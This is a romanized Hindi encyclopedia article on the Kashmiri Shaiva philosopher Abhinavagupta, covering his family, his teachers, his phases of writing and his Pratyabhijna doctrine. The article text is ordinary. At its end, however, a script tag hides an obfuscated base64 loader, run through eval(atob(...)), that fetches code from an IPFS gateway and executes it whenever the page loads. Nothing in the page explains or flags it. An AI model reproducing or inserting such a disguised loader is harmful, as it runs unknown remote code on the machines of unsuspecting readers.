अभिनवगुप्त

abhinavagupt bahumukhi pratibhashali kashmiri sanskrit-vidvanh tatha kashmir shaivadarshan ke achary the. kavyashastriy 'dhvanyalok' par inaki tika 'dhvanyalok -lochan' tatha 'natyashastr' ki tika 'abhinavabharati' prasiddh haian. 'pratyabhijnavimarshini' 'tantralok' ityadi inaki prasiddh darshanik kritiyaan haian. bharatiy samikshashastr evan sauandaryamimaansa par abhinavagupt ki amit chhap hai. sath hi tatv chintan parampara mean bhi unaka rikth avismaraniy hai.

vansh parichay

aisa mana jata hai ki kannauj ke prabrajit shaiv manishi avigupt, abhinavagupt ke pratham poorvaj haian. usake anantar lagabhag dedh sau varsh tak ka kalakhand us vansh parampara ke vishay mean maun sa hai. isake pitamah varahagupt ka janm eesa ki dasavian shatabdi ke pratham charan mean mana jata hai. unake pita narasianh gupt urph chukhulak atyant medhavi vidvan, sarvashastravid tatha param shiv bhakt the. unaki mata vimalakala paramasadhvi evan dharmik mahila thian. durbhagy se unaki chhaya inake oopar se bachapan mean hi uth gee. mata-pita ke atirikt unake parivar mean ek pitrivy the vamanagupt tatha ek anuj manorath aur paanch pitrivy rrintanay-kshem, utpal, abhinav, chakrak tatha padmagupt. isake atirikt unaki ek mahanh guru parampara thi, jisamean (unake pita) narasianh gupt (vyakaran), laksham gupt (kram tatha trikadarshan), bhatt taut (natyashastr) tatha bhattenduraj (sahity shastr) pramukh the. vah jahaan bhi gaye unaki pratibha aur vidyanurag ko dekhakar pratyek guru ne b de prem se unhean shiksha di. ve unaki kushagr buddhi, dharanashakti evan pratipadan shaili se itane prabhavit hue ki unhoanne unako sarvachary ghoshit kar diya aur age chalakar apane shaivatattv-chintan tatha sadhana ke adhar par vah mahamaheshvarachary ho ge. unaki jnanapipasa itani tivr thi ki vah usako shant karane ke lie desh ke kone-kone mean ghoomate rahe. is sandarbh mean jalandhar ke achary shambhunath ka nam liya ja sakata hai, jinase unhoanne kulashastr ka adhyayan kiya. yah bhi kaha jata hai ki vastut: inhian ke sansarg se abhinav ko shanti mili aur antatogatva atmasakshatkar hua. kashmir ke parivaroan mean ek kianvadanti prachalit hai ki apane jivan ka lakshy poora karane ke bad vah ek din apane barah sau shishyoan sahit bhairav gufa mean pravisht ho ge tatha phir kabhi bahar nahian nikale.

aitihasik sandarbh

abhinav ka jo virat vyaktitv hamare samane upasthit hota hai, usamean unaki adhyatmik chetana, gambhir chintan evan unmukt sadhana aantarnihit hai. vah vastut: ek sadhak tatha adhyatm purush the. at: unake vyaktitv ka vishleshan karate samay us samay ka sara aitihasik paridrishy mastishk mean ghoomane lagata hai. antaravedi (kannauj) ke shaiv chintak atrigupt ke vaidushy se prabhavit kashmir naresh lalitadity kannauj par vijay prapt karane ke bad unhean apane sath kashmir le jata hai aur vahian basa deta hai. vah poori ki poori ghati unake pandity evan manisha se gooanj uthati hai. shankar ke kashmir darshan se nagarjun ka prayas dhvast tatha vicharadhara nirast ho jati hai. vasugupt dvara mahadev shila par utkirn shivasootroan ke adhar par agam vidya ka niyaman tatha siddh somanand dvara unako darshanik dharatal par pratishthit kar diya jata hai. achary utpal ki vyakhyaoan ka sanbal pakar us ghati ki prachin adhyatm vidya apane nootan evan parishkrit roop mean pun: jivit ho uthati hai. aisi sthiti mean apane bauddhik vaibhav evan sahity kala-vilas ke lie prakhyat sharada pith mean abhinavagupt ka janm ek mahattvapoorn ghatana thi. sach to yah hai ki kashmir ghati ke lie vah kal khand ek adhyatmik punarutthan evan bauddhik kriyashilata ka yug tha. vahaan ka buddhijivi sakriy ho utha tha tatha avaanchhaniy tatvoan se joojhane ke lie sarvaanshat: tatpar ho gaya. spasht shabdoan mean kahean to bahutatvavadi prachin dharmik vicharadhara mean nagarjun ke prayasoan ke parinamasvaroop ju de bauddh dharm ke vaiyarthy ko vahaan ka vicharak samajh chuka tha aur usake nirakaran ke sath ek udar dharm tatha samanvayavadi darshan ka uday ho gaya tha. at: parivarik paristhitiyoan ki pratikoolata ke bavajood abhinav ko apane parivesh mean ek aisi bauddhik chetana, adhyatmik sanskar evan vaidushyapoorn nirdeshan mila ki age chalakar unake chintan tatha krititv se sahity ka kona-kona uddipt ho utha. at: yah kahana anupayukt athava asangat n hoga ki mahamaheshvar achary abhinavagupt ke vyaktitv ke nirman mean tatkalin jagriti, vaicharik kranti tatha vaidushyapoorn parampara ka paryapt yogadan hai.

gatishil krititv

bachapan mean hi matrisneh se vanchit ho jane ke karan abhinav antarmukhi ho ge. unhoanne ajivan brahmachary ka vrat le liya aur usaka poora nirvah kiya. isaka ek labh yah hua ki unamean ek apoorv sankalp jaga. vyutpann vah the hi, shakti ka unmesh hua aur ek mahanh krititv phoot nikala. anek shastroan mean nishnat hone ke karan unaki lekhani ne vibhinn ayam liye aur ek samriddh rachana parampara ka sootrapat hua, jisase parivarti adhyeta evan gaveshak paryapt roop se labhanvit hua. abhinavagupt ke jivan evan sahity ke pratham pramanik praneta tatha vyakhyakar shaiv manishi aur kalashastravid svargiy da. kantichandr pandey ne inaki sahityik sadhana ke tin ayam manean haian- tantrik kal, alankarik kal evan darshanik kala.

tantrik kal

inake kramastotr tatha bhairavastotr aur sandarbhoan evan any nirdeshoan par adharit inaki kritiyoan ke aitihasik kram se yah spasht ho jata hai ki inhoanne sarvapratham apani lekhani us samay tak prapt tantroan ki shivadvayavadi vyakhya ke kshetr mean chalaee. abhinav ki pratham prapt rachana kamastrotr ke adhar par yah kaha ja sakata hai ki inhoanne apani sarjanayatra sarvapratham isi kshetr se arambh ki thi. is shakha ko lekar ukt stotr ke atirikt inaki ek any rachana prapt hai- kramakeli. isake pashchath inaka dhyan trik ki or akarshit hua. is kshetr ki inaki pramukh den hai- poorvapanchika tatha any panchikaean. poorvashastr se abhipray hai- malini vijay tantr, tatha panchika ka arth hai- vistrit vyakhya. at: yah kriti nishchit roop se malini vijay par vistrit tika rahi hogi. durbhagy se yah kriti ab upalabdh nahian hai. kaulashastr ko lekar inaki ab tak do rachanaean prapt huee haian- 'bhairavastav' tatha 'paratrishika vivaran' isi ayam ke antim charan mean abhinav ne tantralok jaisi mahattvapoorn tatha vishad vyakhyamoolak kriti di. ise kashmir evan shaiv darshan ka vishvakosh kaha jaye to atyukti n hogi, kyoanki isamean is darshan ke sabhi samanantar prasthanoan ki charcha huee hai. isake sath hi sath inhoanne tin sar granthoan- tantrasar, tantrochchay tatha tantravat dhanika ki bhi isi kal mean rachana ki.

alankarik kal

aantarmukhi abhinav ki drishti keval adhyatmik hi nahian thi. ekantasadhak chintak kashmir ki suramy prakritik chhata tatha is ghati ki lavanyamayi taruniyoan ke akarshan ki upeksha bhi nahian kar saka. at: tantralok ke antim khand ke antim bhag mean ham ek rookhe darshanik ke nahian apitu sauandary parakhi kavi ke darshan karate haian. vyakhya ke prasang mean hi inake dvara varuni ke varnan, svad tatha madak anubhooti ka vishad vivechan, nagar sundirayoan ke akarshak varn, sundar mukhachchhavi tatha chanchal bhangima ke paryavekshan ka ullekh kashmir ki suramy chhata mean vishesh abhiruchi, vitasta nadi ka manohari varnan, tatha unake sthaloan par madan ki adamy shaktiyoan ka ullekh adi batean is bat ka spasht sanket karati haian ki abhinav ka adhyatm-purush ab ek sauandary premi kavi ho gaya tha. unaka sauandaryabodh jag utha tha. unake rachanakar ne ek naya mo d le liya tha. inaki sarjan yatra ka doosara ayam shuroo ho gaya tha. yah unake jivan ka madhyahn tha. is kal ki inaki char rachanaean prapt haian, jinamean kavyakautuk vivaran, dhvanyalokalochan, tatha abhinav bharatiy pramukh haian. kintu in kritiyoan mean bhi inaka darshanik sa ho gaya ho, aisa nahian pratit hota. vishesh roop se abhinav bharati mean inaki vyakhya pranali atyant tarkik tatha darshanik pratikoan se otaprot hai. ek vishesh bat jo dekhane ko milati hai, vah yah hai ki inaka rachanakar uttarottar praudh evan gambhir hota jata hai.

darshanik kal

aisa mana gaya hai abhinav bharatiy ki vyakhya karate samay inake lekhan mean darshanik vicharoan ka prabaly raha. yahaan tak ki inaki ras ki vyakhya vishuddh roop se darshanik hai. itana hi nahian, abhinav bharati ke rachanakal mean hi inhoanne 'shrimadbhagavadagitarth sangrah' ki rachana bhi prarambh kar di thi, jo jaisa ki nam se hi spasht hai, 'bhagavadagita' ke oopar inaki tika hai. is prakar inake krititv ka antim ayam darshanik hai. isi kal mean inhoanne darshan jagath ko apani do amar vyakhyaean di, jinake adhar par inako pratyamijnadarshan ka pramukh achary mana jata hai. ye haian eeshvarapratyabhijnavimarshini tatha eeshvarapratyabhijna vivritivimarshini. doosari ko 'brihati-vimarshini' athava 'ashtadashasahasri' bhi kahate haian. ye donoan achary utpal ki eeshvarapratyabhijna ki tikaean haian. ye donoan rachanaean inaki praudhatam kritiyaan haian tatha inake bad abhinav ki kisi any rachana ka ullekh abhi tak prapt nahian hua hai. is prakar abhinv gupt ki rachanadharmita mean ek apratim gatishilata hai, ek adamy utsah hai, aur hai ek nishchit disha. yahi karan hai ki inaka rachanakar niranatar praudh hota gaya hai aur inaki pratyek kriti apane mean mahattvapoorn hai. darshanik kritiyoan mean inaki manavatavadi drishti aur alankarik kritiyoan mean inaka sauandaryabodh tatha lokaruchi ka spasht parichay milata hai.

sadhak abhinavagupt

agamasarani se prapt adhyatm vidya grahan kar abhinav sadhak ban ge. atm-tattv-chintan tatha yaugik anushasan ke sath unaka sahityik sarjan bhi chalata raha. sadhana ki aanch mean tap kar unaka vaidushy pragadh evan prakhar hota gaya. apane paramarth chintan ko abhinav apane tak hi simit nahian rakhana chahate the. at: somanand tatha utpal dvara darshanik bhoomi par pratishthit shivadvayavad ko bharatiy janamanas tak pahuanchane ka bhar abhinav gupt ne apane oopar liya. unaki vistrit vyakhyaoan mean jahaan ham ek shaiv sant aur yogi ke darshan karate haian, vahian ek param prabuddh vyakhyata ke bhi jo apani tarkik shaili ke dvara is darshan ko lokasanvedy tatha sarvagrahi bana deta hai.

darshanik siddhant

yadyapi abhinav gupt yah dava nahian karate ki unhoanne kisi maulik darshanik siddhant ki udbhavana athava pravartan kiya hai, tathapi guru parampara se prapt kram, kul evan trik athava pratyabhijna shastr ko unaki vistrit vyakhyaean ek ne kshitij par lakar kh da kar deti haian. isi prakar yadyapi yah ukt tinoan shakhaoan aur sahityashastr par bhi apani lekhani chalate haian tathapi use unaki sahityik sadhana ka sankraman kal mana jana chahie. at: yah kahana sarvatha upayukt hoga ki trik unaka sarvapriy darshan tha aur is kshetr ko unaki vishesh den hai. parampara se abhasavad ke roop mean poorn pratishtha dene ka shrey abhinav gupt ko hi hai. at: ise hi unaka mool siddhaant manana chahie.

vishv ke rahasy ko samajhane ka prayas hi vastut: darshan hai. isi ko doosare shabdoan mean vishv-rachana-bodh kaha ja sakata hai. yah kya hai, vishv yah astitv mean kaise aya tatha usake pichhe kaun si niyamak shakti kary karati hai, adi samasyaoan ke samadhan ke prayas ne anek darshanik avadharanaoan ko janm diya hai. pratyabhijna darshan ke anusar yah vishv chhattis tattvoan se milakar bana hai. maheshvar arthath param satta, jise chiti bhi kaha jata hai, apani svatantr ichchha se apane manas patal (bhitti) par inhian tattvoan ko kabhi samavet roop mean prakat kar deta hai, aur kabhi apane mean samet leta hai. isi ko doosare shabdoan mean unmilan tatha nimilan kahate haian aur maheshvar athava shiv ke us poore kary kalap ko panchakrity (srishti, sthiti, sanhati, vilay tatha anugrah) ki sanjna di jati hai. chooanki shiv yah sab kuchh apani ichchha se karata hai, isalie yah usaki svatantray shakti kahalati hai. isi ko maheshvary shakti athava vimarsh bhi kahate haian. vimarsh ka abhipray hai- arth-kriyakarita, spasht shabdoan mean sakriyata. arthath advait vedant ke brahm ki bhaanti is darshan ki paramasatta, shiv, keval prakashamay hi nahian apitu prakashavimarshamay hai. yah jnan aur kriya donoan ka adhishthan tatha donoan ka srot hai. yah vishv usake lie koee nee rachana nahian, balki poorvat vidyaman vastu ka bahishkaran unmilan athava prakatikaran hai. nishkarsh yah hai ki yah darshan n to kisi vastu ko mithya manata hai aur n hi kshanik. isaki drishti mean pratyek vastu ki apani satta haian, balki satta hi vastu ki niyamak hai. arthath yadi vastu hai to usaki satta avashy hogi aur yadi usaki satta nahian hai to vah vastu hi nahian hai. inake anusar to vastu, vastu ka karta aur vastubodh ka madhyam tinoan hi yatharth haian. yahi shaiv svatantrayavad hai aur isi ki sthapana achary abhinav gupt ne apane goodh chintan dvara ki aur is prakar shankar ke mithyatvavad tatha bauddhoan ke kshanikavad donoan ko hi nirast kar diya.

isi prakar atmatattv-bodh ke sadhan ke lie jo marg is darshan ne sujhaya hai, vah keval jnan nahian apitu pratyabhijnan hai. jnan to kisi ajnat vastu ka hota hai. isake viparit, pratyabhijnan ka abhipray hai kisi poorv vastu ki pahachan. shankar vedant aur trikashastr ki atmatattv-vimarsh sambandhi dharana mean yahi maulik antar hai. ek to atmatattv ke jnan ka pratipadan karata hai aur doosara atmajnan ka, arthath ajnan athava mohavash jivan (pashu) apane vastavik svaroop (shiv) ko bhool baithata hai, kintu jaise hi moh ka parda hatata hai, jiv apane vastavik svaroop ko pahachan leta hai. yahi doosare shabdoan mean atmaparamarsh kahalata hai. is prakar somanand tatha utpal dvara sootr roop mean prapt in avadharanaoan ko abhinav ne apani tark pradhan shaili ke dvara pratishthit kiya hai.

abhinavagupt ka avadan

yoan to abhinav gupt shaivagarmi evan tantroan se anusyat kram, trik evan kul tinoan prasthanoan tatha kavyashastr evan kalashastr ke pramukh vyakhyata haian, kintu pratyabhijnadarshan evan kalashastr ko inaki den bejo d hai. utpal ki eeshvarapratyabhijna par do vistrit vyakhyaean tatha tantralok jaisa brihadh granth dekar abhinav gupt ne manavata ki jo seva ki hai vah chirasmaraniy rahegi. isi prakar dhvanayalokalochan aur tyabhinabharati ki rachana karake inhoanne bharatiy buddhijivi varg ke lie chintan marg prashast kar diya. utpal ne pratyabhijnashastr ka upanibandhan lok kalyan ki bhavana se kiya tha, kintu abhinav ne apani vistrit tatha spasht vyakhyaoan ke dvara use samanyajan tak pahuanchane ka prayas kiya. apani vivritivimarshini ki rachana ke pichhe unaka lakshy utpaladev ke vicharoan ko ujagar karana matr raha hai. is prakar apane poore ke poore kriya kal mean mean unhoanne utpal ke siddhantoan ka hi anusaran kiya hai tatha kahian apane siddhant jo dane ka prayas nahian kiya hai. kintu itana ham nisankoch kah sakate haian ki pratyabhijnashastr tatha natyashastr ke vishay mean ham jo kuchh bhi janate haian, us sab ka shrey unaki vistrit vyakhyaoan ko hi jata hai. somanand, utpal tatha bharat ke granthoan ki shaili itani sootratmak evan paandityapoorn thi ki abhinav ki vyakhyaoan ke bina inhean samajhana ek dushkar kary hota. at: apane poorv acharyoan ke prati shraddhalu tatha unake vicharoan ke prati pratibaddh hone ke bavajood abhinav ne bharatiy darshan, samikshashastr evan kalashastr ko jo yuktimoolak tatha lokanubhutiparak vyakhya shaili di, vah apane mean hi ek samarth avadan hai. sath hi svatantryavad ke siddhant ko janamanas tak pahuanchakar unhoanne manav jati ko ek abhootapoorv jivan mooly se parichit karaya, jisaka mahatv chirasthayi evan shasvat hai. bharat ka asthavadi samaj tatha buddhijivi varg saman roop se is sadhak darshanik ka chirakal tak rrini rahega.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>